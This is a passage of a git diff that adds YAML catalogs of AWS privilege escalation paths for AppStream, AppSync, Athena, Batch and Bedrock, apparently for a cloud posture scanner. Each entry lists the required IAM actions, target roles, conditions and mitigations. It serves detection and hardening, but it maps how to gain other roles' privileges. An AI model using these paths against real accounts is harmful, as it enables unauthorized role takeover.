new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon AppStream 2.0 (WorkSpaces Applications) privilege escalation techniques. +# Source: hacktricks-cloud aws-appstream-privesc/README.md (rev 171e422299). +# Existing-resource updates use collected fleet and builder state and associations. + +- id: aws-appstream-createimagebuilderstreamingurl + provider: aws + service: appstream + title: Open a session on an image builder with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilderstreamingurl--administratorroot-access-to-an-existing-builder + source_revision: 6fb9ac51fd + summary: A principal allowed to connect to a running image builder may use its recorded machine role. + requires: + all_of: + - action: appstream:CreateImageBuilderStreamingURL + resource: arn:{source.partition}:appstream:*:{source.account}:image-builder/* + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to running image builders in {account} + outcome: workload_execution + preconditions: + - appstream_existing_image_builder_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit using the image builder's machine role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateImageBuilderStreamingURL to approved builders and avoid attaching powerful roles to them. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_ImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilderStreamingURL.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a RUNNING image builder to its exact IamRoleArn and requires CreateImageBuilderStreamingURL on that builder ARN. + +- id: aws-appstream-createappblockbuilderstreamingurl + provider: aws + service: appstream + title: Open a session on an app block builder with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateappblockbuilderstreamingurl--take-over-an-existing-app-package-builder + source_revision: 6fb9ac51fd + summary: A principal allowed to connect to a running app block builder may use its recorded machine role. + requires: + all_of: + - action: appstream:CreateAppBlockBuilderStreamingURL + resource: arn:{source.partition}:appstream:*:{source.account}:app-block-builder/* + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to running app block builders in {account} + outcome: workload_execution + preconditions: + - appstream_existing_app_block_builder_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit using the app block builder's machine role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateAppBlockBuilderStreamingURL to approved builders and avoid attaching powerful roles to them. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_AppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilderStreamingURL.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a RUNNING app block builder to its exact IamRoleArn and requires CreateAppBlockBuilderStreamingURL on that builder ARN. + +- id: aws-appstream-createstreamingurl-existing-fleet + provider: aws + service: appstream + title: Open a desktop session on a fleet with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreatestreamingurl--enter-an-existing-fleet-under-its-machine-role + source_revision: 6fb9ac51fd + summary: A principal allowed to open a desktop session on an existing fleet may use that fleet's exact machine role. + requires: + all_of: + - action: appstream:CreateStreamingURL + resource: arn:{source.partition}:appstream:*:{source.account}:fleet/* + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to streamable desktop fleets in {account} + outcome: workload_execution + preconditions: + - appstream_existing_fleet_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit running an application or script that can use the fleet role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateStreamingURL to approved fleets and avoid attaching powerful roles to desktop fleets. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateStreamingURL.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_Fleet.html + - https://docs.aws.amazon.com/appstream2/latest/developerguide/how-to-use-iam-role-with-streaming-instances.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a running DESKTOP fleet to its recorded IamRoleArn and an associated stack, requires available capacity and CreateStreamingURL on that fleet ARN, and returns a conditional role reach. No PassRole or fleet mutation is required. + +- id: aws-appstream-passrole-createimagebuilder-createfleet + provider: aws + service: appstream + title: Create and stream into a fleet with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting appstream.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_fleet_with_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: image_and_network + description: The chosen image and capacity must allow the fleet to start before a streaming session can begin. + - id: streaming_url_scope + description: CreateStreamingURL permission must cover both the chosen fleet and its associated stack. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on AppStream roles with iam:PassedToService and specific role ARNs; limit image + builder and fleet creation to AppStream administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateFleet.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_StartFleet.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: 'Reach is roles trusting appstream.amazonaws.com in PassRole scope. The new fleet must have an image and an + associated stack; an existing stack may be reused.' + +- id: aws-appstream-passrole-createappblockbuilder + provider: aws + service: appstream + title: Create and stream into an app block builder with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can create an app block builder with a passable role and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_app_block_builder_with_role + conditions: + - id: app_block_and_network + description: The new builder needs suitable subnets and an app block it can be associated with before it starts. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and app block builder creation to approved roles and administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlock.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_StartAppBlockBuilder.html + +- id: aws-appstream-passrole-createimagebuilder + provider: aws + service: appstream + title: Create and stream into an image builder with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can create an image builder with a passable role and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_image_builder_with_role + conditions: + - id: image_builder_readiness + description: The available image and capacity must allow the new builder to reach a running state before streaming. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and image builder creation to approved roles and administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_DescribeImages.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilderStreamingURL.html + +- id: aws-appstream-passrole-updatefleet + provider: aws + service: appstream + title: Set a passable role on a streamable fleet + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can set a passable role on an existing fleet and stream into that fleet. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_existing_fleet_role_swap + conditions: + - id: fleet_readiness + description: The fleet must be associated with a usable stack and able to run streaming sessions after its role changes. + - id: streaming_url_scope + description: CreateStreamingURL permission must cover both the chosen fleet and its associated stack. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and UpdateFleet on fleets that can run sessions with privileged roles. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_UpdateFleet.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_ListAssociatedStacks.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateStreamingURL.html + +- id: aws-appstream-passrole-updateappblockbuilder + provider: aws + service: appstream + title: Set a passable role on a streamable app block builder + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can set a passable role on an existing app block builder and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_existing_app_block_builder_role_swap + conditions: + - id: builder_readiness + description: The builder must be associated with an app block and able to run a streaming session after its role changes. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and UpdateAppBlockBuilder on builders that can run sessions with privileged roles. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_UpdateAppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_DescribeAppBlockBuilderAppBlockAssociations.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilderStreamingURL.html diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml new file mode 100644 index 0000000000..e8cd5250b6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml @@ -0,0 +1,53 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS AppSync privilege escalation techniques. +# Source: hacktricks-cloud aws-appsync-privesc/README.md (rev 171e422299). + +- id: aws-appsync-passrole-new-api-sigv4 + provider: aws + service: appsync + title: Use a passed role through a new AppSync HTTP resolver + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsynccreatedatasource-iampassrole--drive-an-arbitrary-role-through-a-graphql-field + source_revision: 171e422299 + summary: The source can create a GraphQL API and an IAM-signed HTTP resolver that calls AWS APIs using the passed role. + requires: + all_of: + - action: appsync:CreateGraphqlApi + resource: '*' + - action: appsync:StartSchemaCreation + resource: '*' + - action: appsync:CreateDataSource + resource: '*' + - action: appsync:CreateResolver + resource: '*' + - action: appsync:CreateApiKey + resource: '*' + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: appsync.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: appsync.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - appsync_new_api_global_setup + conditions: + - id: graphql_execution + description: The new schema, HTTP data source and resolver must be created successfully, and a field invocation must reach the signed AWS endpoint. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit iam:PassRole to exact AppSync service roles and reserve API and resolver creation for trusted operators. + references: + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateGraphqlApi.html + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateDataSource.html + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateResolver.html + notes: This self-contained route needs wildcard permission for each operation on the new API and creates its own API key. Existing API or resolver variants need separate evidence for a callable field and usable authorization method. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/arc-region-switch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/arc-region-switch.yaml new file mode 100644 index 0000000000..b787fa5ef9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/arc-region-switch.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Application Recovery Controller (ARC) Region switch privilege escalation techniques. +# Source: hacktricks-cloud aws-region-switch-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml new file mode 100644 index 0000000000..41b0ad9c1c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml @@ -0,0 +1,153 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Athena (Spark workgroups and stored notebooks) privilege escalation techniques. +# Source: hacktricks-cloud aws-athena-spark-role-privesc/README.md and aws-athena-stored-query-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Athena Spark workgroups carry an +# ExecutionRole (trusting athena.amazonaws.com) used by every session, calculation and notebook in the workgroup. + +- id: aws-athena-startcalculationexecution-existing-session + provider: aws + service: athena + title: Run code in an existing Athena Spark session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenastartcalculationexecution--execute-code-in-an-existing-spark-session + source_revision: 171e422299 + summary: A caller who can submit calculations to an idle PySpark 3 session may run code with that session's recorded execution role. + requires: + all_of: + - action: athena:StartCalculationExecution + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of idle Athena Spark sessions in {account} + outcome: workload_execution + preconditions: + - athena_existing_session_calculation_role + conditions: + - id: session_stays_active + description: The recorded session must still be idle when the calculation is submitted. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit StartCalculationExecution to the principals that operate the relevant Spark workgroups, and keep their execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_StartCalculationExecution.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSession.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-api-list.html + notes: The evaluator joins each listed session to its exact GetSession execution role and requires IDLE state, PySpark engine version 3, and StartCalculationExecution on its workgroup ARN. No PassRole or StartSession grant is required for this existing-session route. + +- id: aws-athena-getsessionendpoint-spark-connect + provider: aws + service: athena + title: Open an existing Athena Spark Connect session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenagetsessionendpoint--take-over-an-active-spark-connect-session + source_revision: 171e422299 + summary: A caller who can mint the endpoint token for an active Spark 3.5 session may control it using its recorded execution role. + requires: + all_of: + - action: athena:GetSessionEndpoint + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of active Athena Spark Connect sessions in {account} + outcome: workload_execution + preconditions: + - athena_existing_spark_connect_role + conditions: + - id: session_stays_active + description: The session must remain active and the endpoint token must be used while valid. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit GetSessionEndpoint to approved session operators and keep Spark session execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSessionEndpoint.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-connect.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_athena.html + notes: The evaluator joins the exact session role and requires active Apache Spark version 3.5 plus GetSessionEndpoint on the workgroup and session ARNs. It never requests or stores the endpoint token. + +- id: aws-athena-createpresignednotebookurl + provider: aws + service: athena + title: Open an existing Athena Spark notebook + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreatepresignednotebookurl--take-over-a-running-spark-notebook + source_revision: 171e422299 + summary: A caller who can mint a notebook URL for an active PySpark 3 notebook session may use its recorded execution role. + requires: + all_of: + - action: athena:CreatePresignedNotebookUrl + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of active Athena Spark notebooks in {account} + outcome: workload_execution + preconditions: + - athena_existing_notebook_url_role + conditions: + - id: notebook_stays_active + description: The notebook session must remain active and the URL must be used while valid. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit CreatePresignedNotebookUrl to approved notebook operators and keep their execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_CreatePresignedNotebookUrl.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSession.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-api-list.html + notes: The evaluator requires the exact session role, an active PySpark 3 session with NotebookVersion, and CreatePresignedNotebookUrl on its workgroup ARN. It never requests or stores the notebook token. + +- id: aws-athena-passrole-createworkgroup-spark + provider: aws + service: athena + title: Create an Athena Spark workgroup with a passed execution role and run code in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreateworkgroup--athenastartsession--run-spark-code-as-an-arbitrary-passed-execution-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting athena.amazonaws.com by binding it to a new Spark workgroup and running calculations there. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: athena.amazonaws.com + - action: athena:CreateWorkGroup + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + - action: athena:StartSession + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + - action: athena:StartCalculationExecution + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + target: + kind: aws_role + selector: + trust_allows_service: athena.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting athena.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: spark_region_support + description: Athena for Apache Spark must be available in the region. + - id: usable_workgroup + description: One available workgroup name must be covered by CreateWorkGroup, StartSession and StartCalculationExecution; the caller must select a Spark engine version that supports the calculation API, since Spark 3.5 uses Spark Connect instead. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Athena Spark execution roles with iam:PassedToService=athena.amazonaws.com and restrict athena:CreateWorkGroup to administrators. + references: + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-getting-started.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_CreateWorkGroup.html + notes: Generic PassRole path independent of existing sessions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml new file mode 100644 index 0000000000..9b0851b296 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml @@ -0,0 +1,85 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Batch privilege escalation techniques. +# Source: hacktricks-cloud aws-batch-privesc/README.md. + +- id: aws-batch-submitjob-existing-definition + provider: aws + service: batch + title: Submit a command through an existing Batch job role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchsubmitjob + source_revision: 6fb9ac51fd + summary: A caller who can submit a command override for an active EC2 job definition may run that command with its recorded job role. + requires: + all_of: + - action: batch:SubmitJob + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: Job roles of existing Batch definitions in {account} + outcome: workload_execution + preconditions: + - batch_existing_definition_submitjob_role + conditions: + - id: runnable_container + description: The image must start on the selected EC2 queue and provide a command that can use the job role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit SubmitJob to trusted callers on both approved queues and exact job definition revisions, and keep job roles least privileged. + references: + - https://docs.aws.amazon.com/batch/latest/APIReference/API_SubmitJob.html + - https://docs.aws.amazon.com/batch/latest/userguide/iam-example-restrict-job-submission.html + - https://docs.aws.amazon.com/batch/latest/userguide/job_definition_parameters.html + notes: The evaluator uses the recorded active definition revision, exact jobRoleArn and a valid enabled EC2 queue. It requires SubmitJob on both resource ARNs; PassRole is only checked when a definition is registered, not at submission. + +- id: aws-batch-registerjobdefinition-passrole-submitjob + provider: aws + service: batch + title: Register a Batch job definition with a passed job role and submit it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchregisterjobdefinition-iampassrole--batchsubmitjob--run-a-container-as-a-passed-role + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by registering a job definition that runs its own container with that role as the job role and submitting a job from it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: batch:RegisterJobDefinition + resource: "*" + - action: batch:SubmitJob + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - batch_new_job_and_ec2_queue_authorized + conditions: + - id: job_queue_available + description: batch:SubmitJob must cover the new job definition and an existing job queue with a VALID, ENABLED compute environment. + - id: fargate_execution_role + description: On Fargate compute environments the job definition must also carry an execution role (passed with iam:PassRole); on EC2 compute environments it is optional. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ecs-tasks roles with iam:PassedToService, restrict batch:RegisterJobDefinition to the deployment pipeline, and scope batch:SubmitJob to exact job-definition revisions. + references: + - https://docs.aws.amazon.com/batch/latest/userguide/job_definition_parameters.html + - https://docs.aws.amazon.com/batch/latest/userguide/execution-IAM-role.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_batch.html + notes: The Service Authorization Reference lists iam:PassRole as a dependent action of batch:RegisterJobDefinition, and the job definition reference states jobRoleArn is an ECS task IAM role. The evaluator checks one unused job-definition name, its first revision and the same enabled EC2 queue with matching RegisterJobDefinition and SubmitJob grants. Other restricted names, incomplete inventories and Fargate execution-role requirements remain unresolved. Jobs on Amazon EKS compute environments use a Kubernetes service account instead of jobRoleArn and are not covered. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml new file mode 100644 index 0000000000..c9eae2a0c1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml @@ -0,0 +1,253 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Bedrock / Bedrock AgentCore privilege escalation techniques. +# Source: hacktricks-cloud aws-bedrock-privesc/README.md and aws-bedrock-agentcore-privesc/README.md (rev 171e422299). + +- id: aws-bedrock-agentcore-createcodeinterpreter-passrole + provider: aws + service: bedrock + title: Create an AgentCore Code Interpreter with a passed execution role and run code in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--sandbox-actions-with-an-execution-role + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae + summary: The source can obtain the privileges of passable roles trusting bedrock-agentcore.amazonaws.com by creating + a Code Interpreter with that execution role and invoking it. + requires: + all_of: + - action: bedrock-agentcore:CreateCodeInterpreter + resource: '*' + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:StartCodeInterpreterSession + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:code-interpreter-custom/* + bind: new_interpreter + - action: bedrock-agentcore:InvokeCodeInterpreter + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:code-interpreter-custom/* + bind: new_interpreter + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting bedrock-agentcore.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - agentcore_new_interpreter_broad_name_and_role_ready + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: generated_interpreter_id + description: StartCodeInterpreterSession and InvokeCodeInterpreter must cover a fresh custom interpreter name and every service-generated suffix of its ID. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole for AgentCore execution roles and bedrock-agentcore:CreateCodeInterpreter. + references: [] + notes: CreateBrowser and InvokeBrowser need a separate browser-action proof; they do not establish arbitrary + code execution through the Code Interpreter path. + +- id: aws-bedrock-agentcore-codeinterpreter-existing + provider: aws + service: bedrock + title: Run code through an existing AgentCore Code Interpreter role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorestartcodeinterpretersession--bedrock-agentcoreinvokecodeinterpreter---code-interpreter-execution-role-pivot + source_revision: eb763dbd71 + summary: The source can run code in one ready Code Interpreter whose recorded execution role is the target role. + requires: + all_of: + - action: bedrock-agentcore:StartCodeInterpreterSession + resource: '{target.attached_resource_arn}' + - action: bedrock-agentcore:InvokeCodeInterpreter + resource: '{target.attached_resource_arn}' + target: + kind: aws_role + selector: + attached_to_service: bedrock-agentcore-code-interpreter + attached_resource_covered_by: bedrock-agentcore:StartCodeInterpreterSession + scope: same_account + aggregate_as: Roles attached to invokable AgentCore Code Interpreters in {account} + outcome: workload_execution + preconditions: + - agentcore_existing_code_interpreter_role_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit Code Interpreter session and invoke grants to interpreters with appropriately scoped execution roles. + references: + - https://docs.aws.amazon.com/bedrock-agentcore-control/latest/APIReference/API_GetCodeInterpreter.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html + + +- id: aws-bedrock-agent-lambda-actiongroup-hijack + provider: aws + service: bedrock + title: Modify a Lambda action-group function and trigger it through a Bedrock agent + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#lambdaupdatefunctioncode-bedrockinvokeagent---agent-tool-hijacking-via-lambda + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of a Lambda function used as a Bedrock agent action group by changing its code and invoking the agent. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.attached_resource_arn}" + - action: bedrock:InvokeAgent + resource: "*" + preconditions: + - bedrock_agent_actiongroup_lambda_execution_unverified + target: + kind: aws_role + selector: + attached_to_service: lambda + attached_resource_covered_by: lambda:UpdateFunctionCode + scope: same_account + aggregate_as: "Execution roles of Lambda functions behind Bedrock agent action groups in {account}" + conditions: + - id: function_is_action_group + description: The covered, unqualified Lambda function must be the enabled executor of an action group on a ready Bedrock agent alias that the source can invoke (bedrock:InvokeAgent Resource is the agent-alias ARN). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict lambda:UpdateFunctionCode on agent tool functions and keep their execution roles least-privileged. + references: + - https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_AgentActionGroup.html + notes: Alternative trigger to lambda:InvokeFunction; the generic UpdateFunctionCode technique is in lambda.yaml (part B). Updating function code changes $LATEST, not an immutable published Lambda version. A role edge needs the exact unqualified function ARN, its current code hash and execution role, a ready invocable agent alias and routed version, an enabled action group using that function, Bedrock permission to invoke it, and a fresh witnessed invocation that performs a useful role action. Missing or disjoint facts remain unknown. + +- id: aws-bedrock-agentcore-createharness-passrole + provider: aws + service: bedrock + title: Create an AgentCore harness with a passed execution role and run shell commands in it + source: 